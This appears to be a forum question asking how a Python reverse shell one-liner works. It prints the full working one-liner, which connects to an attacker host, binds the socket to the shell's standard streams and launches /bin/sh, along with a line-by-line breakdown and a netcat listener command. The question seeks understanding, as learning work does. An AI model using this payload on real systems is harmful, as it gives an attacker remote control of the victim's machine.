How does a Python reverse shell one-liner work?

Question

Consider:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

So this is a Python reverse shell one-liner and can be found easily just by googling it. To better understanding this, let's write it in multi-line:

1# import socket,subprocess,os
2# s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
3# s.connect(("10.0.0.1",1234))
4# os.dup2(s.fileno(),0)
5# os.dup2(s.fileno(),1)
6# os.dup2(s.fileno(),2)
7# p=subprocess.call(["/bin/sh","-i"])

Most parts of this is pretty easy to understand. In the first line, we import necessary modules. In the second line we make a socket object using the IPv4 family and TCP protocol. Line Three is where we connect to our server (attacker machine) and in line 4, 5, and 6, we duplicate the socket file descriptor as 0 (standard input), 1 (standard output), and 2 (standard error) (I can be wrong here). In the end, we start the bin/sh shell in interactive mode.

This is working fine. All we need is just to change the IP address and port to connect, and in the other end (server) we need to listen for an incoming connection and it can be done easily using netcat:

nc -nlvp 1234

I just don't understand after establishing the reverse shell, how this client machine (the machine that we run the Python reverse shell one-liner on it) can send the output of commands that it received from the server. I mean, there aren’t any send() or recv() method.

I tried to write a server myself using Python, but it does not work properly and I can't receive the output of my commands.

(But here's a Python reverse shell that I have been coded, and it works fine: https://github.com/ramixix/Python_Reverse_Shell.git. I’d be happy if you check it out.)

How does it work and how can I write a server for it?